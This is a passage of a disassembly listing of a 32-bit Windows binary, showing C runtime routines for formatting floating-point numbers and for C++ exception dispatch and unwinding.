jmp short loc_41A820
; ---------------------------------------------------------------------------
loc_41A833: ; CODE XREF: sub_41A7FD+27j
; sub_41A7FD+2Cj ...
mov ecx, eax
loc_41A835: ; CODE XREF: sub_41A7FD+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_41A835
cmp [eax], dl
jnz short loc_41A840
dec eax
loc_41A840: ; CODE XREF: sub_41A7FD+40j
; sub_41A7FD+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_41A840
locret_41A84A: ; CODE XREF: sub_41A7FD+21j
retn
sub_41A7FD endp
; =============== S U B R O U T I N E =======================================
sub_41A84B proc near ; DATA XREF: sub_415DEB+28o
; .text:off_43A760o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_4217E0
fnstsw ax
sahf
jb short loc_41A860
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41A860: ; CODE XREF: sub_41A84B+Fj
xor eax, eax
retn
sub_41A84B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A863 proc near ; CODE XREF: sub_41B605+430p
; DATA XREF: sub_415DEB+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_41A88C
lea eax, [ebp+var_8]
push eax
call sub_41E5AA
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_41A88C: ; CODE XREF: sub_41A863+Cj
lea eax, [ebp+arg_8]
push eax
call sub_41E5D7
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_41A863 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8A1 proc near ; CODE XREF: sub_41AB1E+17p
; sub_41AB68+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_46BB74, 0
push ebx
push esi
jz short loc_41A8D6
mov ebx, [ebp+arg_8]
mov eax, dword_46BB70
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_41ABB9
pop ecx
pop ecx
jmp short loc_41A90E
; ---------------------------------------------------------------------------
loc_41A8D6: ; CODE XREF: sub_41A8A1+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_41E67B
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_41E604
add esp, 14h
loc_41A90E: ; CODE XREF: sub_41A8A1+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_41A91A
mov byte ptr [eax], 2Dh
inc eax
loc_41A91A: ; CODE XREF: sub_41A8A1+73j
test ebx, ebx
jle short loc_41A932
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_438600
mov eax, edi
pop edi
mov [eax], cl
loc_41A932: ; CODE XREF: sub_41A8A1+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_46BB74, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_415A20
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_41A959
mov byte ptr [ecx], 45h
loc_41A959: ; CODE XREF: sub_41A8A1+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_41A99E
mov ebx, [esi+4]
dec ebx
jns short loc_41A96D
neg ebx
mov byte ptr [ecx], 2Dh
loc_41A96D: ; CODE XREF: sub_41A8A1+C5j
inc ecx
cmp ebx, 64h
jl short loc_41A984
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41A984: ; CODE XREF: sub_41A8A1+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_41A99B
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41A99B: ; CODE XREF: sub_41A8A1+E7j
add [ecx+1], bl
loc_41A99E: ; CODE XREF: sub_41A8A1+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_41A8A1 endp
; =============== S U B R O U T I N E =======================================
sub_41A9A5 proc near ; CODE XREF: sub_41AB45+13p
; sub_41AB68+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_46BB74, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_41A9E0
mov eax, dword_46BB78
mov ebx, [esp+10h+arg_8]
mov esi, dword_46BB70
cmp eax, ebx
jnz short loc_41AA10
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_41AA10
; ---------------------------------------------------------------------------
loc_41A9E0: ; CODE XREF: sub_41A9A5+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_41E67B
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_41E604
add esp, 14h
loc_41AA10: ; CODE XREF: sub_41A9A5+22j
; sub_41A9A5+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_41AA1E
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_41AA1E: ; CODE XREF: sub_41A9A5+70j
mov eax, [esi+4]
test eax, eax
jg short loc_41AA35
push 1
push edi
call sub_41ABB9
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_41AA37
; ---------------------------------------------------------------------------
loc_41AA35: ; CODE XREF: sub_41A9A5+7Ej
add edi, eax
loc_41AA37: ; CODE XREF: sub_41A9A5+8Ej
test ebx, ebx
jle short loc_41AA7C
push 1
push edi
call sub_41ABB9
mov al, byte_438600
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_41AA7C
cmp byte_46BB74, 0
jz short loc_41AA61
neg esi
jmp short loc_41AA67
; ---------------------------------------------------------------------------
loc_41AA61: ; CODE XREF: sub_41A9A5+B6j
neg esi
cmp ebx, esi
jl short loc_41AA69
loc_41AA67: ; CODE XREF: sub_41A9A5+BAj
mov ebx, esi
loc_41AA69: ; CODE XREF: sub_41A9A5+C0j
push ebx
push edi
call sub_41ABB9
push ebx
push 30h
push edi
call sub_415390
add esp, 14h
loc_41AA7C: ; CODE XREF: sub_41A9A5+94j
; sub_41A9A5+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_41A9A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA83 proc near ; CODE XREF: sub_41AB68+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_41E67B
mov dword_46BB70, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_46BB78, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_41E604
mov eax, dword_46BB70
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_46BB78, ecx
setl cl
mov byte_46BB7C, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_46BB78, eax
jl short loc_41AB09
cmp eax, ebx
jge short loc_41AB09
test cl, cl
jz short loc_41AAFA
loc_41AAF0: ; CODE XREF: sub_41AA83+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_41AAF0
and [esi-2], al
loc_41AAFA: ; CODE XREF: sub_41AA83+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_41AB45
add esp, 0Ch
jmp short loc_41AB19
; ---------------------------------------------------------------------------
loc_41AB09: ; CODE XREF: sub_41AA83+63j
; sub_41AA83+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_41AB1E
add esp, 10h
loc_41AB19: ; CODE XREF: sub_41AA83+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41AA83 endp
; =============== S U B R O U T I N E =======================================
sub_41AB1E proc near ; CODE XREF: sub_41AA83+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_46BB74, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41A8A1
and byte_46BB74, 0
add esp, 10h
retn
sub_41AB1E endp
; =============== S U B R O U T I N E =======================================
sub_41AB45 proc near ; CODE XREF: sub_41AA83+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_46BB74, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41A9A5
and byte_46BB74, 0
add esp, 0Ch
retn
sub_41AB45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB68 proc near ; CODE XREF: sub_417D6C+3AAp
; DATA XREF: sub_415DEBo ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_41ABA3
cmp [ebp+arg_8], 45h
jz short loc_41ABA3
cmp [ebp+arg_8], 66h
jnz short loc_41AB90
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A9A5
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41AB90: ; CODE XREF: sub_41AB68+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41AA83
jmp short loc_41ABB4
; ---------------------------------------------------------------------------
loc_41ABA3: ; CODE XREF: sub_41AB68+7j
; sub_41AB68+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A8A1
loc_41ABB4: ; CODE XREF: sub_41AB68+39j
add esp, 10h
pop ebp
retn
sub_41AB68 endp
; =============== S U B R O U T I N E =======================================
sub_41ABB9 proc near ; CODE XREF: sub_41A8A1+2Cp
; sub_41A9A5+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_41ABDC
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_415B10
inc eax
push eax
push esi
add esi, edi
push esi
call sub_416320
add esp, 10h
pop esi
loc_41ABDC: ; CODE XREF: sub_41ABB9+7j
pop edi
retn
sub_41ABB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABDE proc near ; CODE XREF: .text:00415FCCp
; sub_416035+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_41ABF4
call sub_41B482
loc_41ABF4: ; CODE XREF: sub_41ABDE+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_41AC1C
cmp dword ptr [esi+4], 0
jz short loc_41AC72
cmp [ebp+arg_14], 0
jnz short loc_41AC72
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_41AF25
add esp, 10h
jmp short loc_41AC72
; ---------------------------------------------------------------------------
loc_41AC1C: ; CODE XREF: sub_41ABDE+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_41AC72
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41AC56
cmp [eax+14h], edi
jbe short loc_41AC56
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_41AC56
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_41AC75
; ---------------------------------------------------------------------------
loc_41AC56: ; CODE XREF: sub_41ABDE+4Aj
; sub_41ABDE+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_41AC79
add esp, 20h
loc_41AC72: ; CODE XREF: sub_41ABDE+23j
; sub_41ABDE+29j ...
push 1
pop eax
loc_41AC75: ; CODE XREF: sub_41ABDE+76j
pop edi
pop esi
pop ebp
retn
sub_41ABDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AC79 proc near ; CODE XREF: sub_41ABDE+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_41AC99
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_41AC9E
loc_41AC99: ; CODE XREF: sub_41AC79+16j
call sub_41B482
loc_41AC9E: ; CODE XREF: sub_41AC79+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_41ADF5
cmp dword ptr [esi+10h], 3
jnz short loc_41AD12
cmp [esi+14h], edi
jnz short loc_41AD12
cmp dword ptr [esi+1Ch], 0
jnz short loc_41AD12
mov esi, dword_46BB80
test esi, esi
jz loc_41ADF0
mov eax, dword_46BB84
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_41E802
pop ecx
test eax, eax
pop ecx
jnz short loc_41ACF4
call sub_41B482
loc_41ACF4: ; CODE XREF: sub_41AC79+74j
cmp [esi], ebx
jnz loc_41ADF5
cmp dword ptr [esi+10h], 3
jnz short loc_41AD12
cmp [esi+14h], edi
jnz short loc_41AD12
cmp dword ptr [esi+1Ch], 0
jnz short loc_41AD12
call sub_41B482
loc_41AD12: ; CODE XREF: sub_41AC79+41j
; sub_41AC79+46j ...
cmp [esi], ebx
jnz loc_41ADF5
cmp dword ptr [esi+10h], 3
jnz loc_41ADF5
cmp [esi+14h], edi
jnz loc_41ADF5
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_416183
add esp, 14h
mov ebx, eax
loc_41AD49: ; CODE XREF: sub_41AC79+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_41ADE0
cmp [ebx], edi
jg short loc_41ADD5
cmp edi, [ebx+4]
jg short loc_41ADD5
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_41ADD2
loc_41AD6E: ; CODE XREF: sub_41AC79+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_41AD9F
loc_41AD80: ; CODE XREF: sub_41AC79+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_41AEC8
add esp, 0Ch
test eax, eax
jnz short loc_41ADAE
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_41AD80
loc_41AD9F: ; CODE XREF: sub_41AC79+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_41AD6E
jmp short loc_41ADD2
; ---------------------------------------------------------------------------
loc_41ADAE: ; CODE XREF: sub_41AC79+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41AFD9
add esp, 2Ch
loc_41ADD2: ; CODE XREF: sub_41AC79+F3j
; sub_41AC79+133j
mov edi, [ebp+var_10]
loc_41ADD5: ; CODE XREF: sub_41AC79+DEj
; sub_41AC79+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_41AD49
; ---------------------------------------------------------------------------
loc_41ADE0: ; CODE XREF: sub_41AC79+D6j
cmp [ebp+arg_14], 0
jz short loc_41ADF0
push 1
push esi
call sub_41B34E
pop ecx
pop ecx
loc_41ADF0: ; CODE XREF: sub_41AC79+56j
; sub_41AC79+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41ADF5: ; CODE XREF: sub_41AC79+37j
; sub_41AC79+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_41AE1B
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41AE20
add esp, 20h
jmp short loc_41ADF0
; ---------------------------------------------------------------------------
loc_41AE1B: ; CODE XREF: sub_41AC79+180j
jmp sub_41B42C
sub_41AC79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE20 proc near ; CODE XREF: sub_41AC79+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_46BB88, 0
push esi
push edi
jz short loc_41AE51
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41605A
add esp, 1Ch
test eax, eax
jnz short loc_41AEC4
loc_41AE51: ; CODE XREF: sub_41AE20+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_416183
add esp, 14h
mov esi, eax
loc_41AE6D: ; CODE XREF: sub_41AE20+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_41AEC4
cmp edi, [esi]
jl short loc_41AEBC
cmp edi, [esi+4]
jg short loc_41AEBC
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_41AE96
cmp byte ptr [ecx+8], 0
jnz short loc_41AEBC
loc_41AE96: ; CODE XREF: sub_41AE20+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41AFD9
add esp, 2Ch
loc_41AEBC: ; CODE XREF: sub_41AE20+57j
; sub_41AE20+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_41AE6D
; ---------------------------------------------------------------------------
loc_41AEC4: ; CODE XREF: sub_41AE20+2Fj
; sub_41AE20+53j
pop edi
pop esi
leave
retn
sub_41AE20 endp
; =============== S U B R O U T I N E =======================================
sub_41AEC8 proc near ; CODE XREF: sub_41AC79+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_41AF1F
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_41AF1F
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_41AEF9
add ecx, 8
push ecx
push edx
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_41AF1B
loc_41AEF9: ; CODE XREF: sub_41AEC8+1Fj
test byte ptr [esi], 2
jz short loc_41AF03
test byte ptr [edi], 8
jz short loc_41AF1B
loc_41AF03: ; CODE XREF: sub_41AEC8+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_41AF12
test byte ptr [edi], 1
jz short loc_41AF1B
loc_41AF12: ; CODE XREF: sub_41AEC8+43j
test al, 2
jz short loc_41AF1F
test byte ptr [edi], 2
jnz short loc_41AF1F
loc_41AF1B: ; CODE XREF: sub_41AEC8+2Fj
; sub_41AEC8+39j ...
xor eax, eax
jmp short loc_41AF22
; ---------------------------------------------------------------------------
loc_41AF1F: ; CODE XREF: sub_41AEC8+Bj
; sub_41AEC8+14j ...
push 1
pop eax
loc_41AF22: ; CODE XREF: sub_41AEC8+55j
pop edi
pop esi
retn
sub_41AEC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF25 proc near ; CODE XREF: sub_41ABDE+34p
; sub_41AFD9+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421828
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_41AF57: ; CODE XREF: sub_41AF25+8Aj
cmp esi, [ebp+arg_C]
jz short loc_41AFB1
cmp esi, 0FFFFFFFFh
jle short loc_41AF66
cmp esi, [edi+4]
jl short loc_41AF6B
loc_41AF66: ; CODE XREF: sub_41AF25+3Aj
call sub_41B482
loc_41AF6B: ; CODE XREF: sub_41AF25+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_41AF86
push 103h
push ebx
push eax
call sub_41B3E0
loc_41AF86: ; CODE XREF: sub_41AF25+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41AFA6
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_41AFC3
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_41AFA6: ; CODE XREF: sub_41AF25+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_41AF57
; ---------------------------------------------------------------------------
loc_41AFB1: ; CODE XREF: sub_41AF25+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41AF25 endp
; =============== S U B R O U T I N E =======================================
sub_41AFC3 proc near ; CODE XREF: sub_41AF25+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_41AFD4
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41AFD4: ; CODE XREF: sub_41AFC3+Cj
jmp sub_41B42C
sub_41AFC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AFD9 proc near ; CODE XREF: sub_41AC79+151p
; sub_41AE20+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_41AFFB
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_41B18A
add esp, 10h
loc_41AFFB: ; CODE XREF: sub_41AFD9+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_41B007
push edi
jmp short loc_41B00A
; ---------------------------------------------------------------------------
loc_41B007: ; CODE XREF: sub_41AFD9+29j
push [ebp+arg_24]
loc_41B00A: ; CODE XREF: sub_41AFD9+2Cj
call sub_415F5C
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_41AF25
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_41B054
add esp, 2Ch
test eax, eax
jz short loc_41B04F
push edi
push eax
call sub_415F1A
loc_41B04F: ; CODE XREF: sub_41AFD9+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41AFD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B054 proc near ; CODE XREF: sub_41AFD9+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421838
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_46BB80
mov [ebp+var_1C], ecx
mov ecx, dword_46BB84
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_46BB80, edi
mov ecx, [ebp+arg_8]
mov dword_46BB84, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_415FE1
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_41B11A
mov eax, [ebp+var_2C]
loc_41B0E1: ; CODE XREF: sub_41B0FA+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41B054 endp
; =============== S U B R O U T I N E =======================================
sub_41B0F0 proc near ; DATA XREF: .text:00421848o
push dword ptr [ebp-14h]
call sub_41B160
pop ecx
retn
sub_41B0F0 endp
; =============== S U B R O U T I N E =======================================
sub_41B0FA proc near ; DATA XREF: .text:0042184Co
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_416242
pop ecx
pop ecx
xor eax, eax
jmp short loc_41B0E1
sub_41B0FA endp
; ---------------------------------------------------------------------------
loc_41B112: ; DATA XREF: .text:00421840o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_41B11A proc near ; CODE XREF: sub_41B054+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_46BB80, eax
mov eax, [ebp-20h]
mov dword_46BB84, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_41B15F
cmp dword ptr [edi+10h], 3
jnz short locret_41B15F
cmp dword ptr [edi+14h], 19930520h
jnz short locret_41B15F
cmp [ebp-24h], ebx
jnz short locret_41B15F
cmp [ebp-2Ch], ebx
jz short locret_41B15F
call sub_4162AA
push eax
push edi
call sub_41B34E
pop ecx
pop ecx
locret_41B15F: ; CODE XREF: sub_41B11A+1Cj
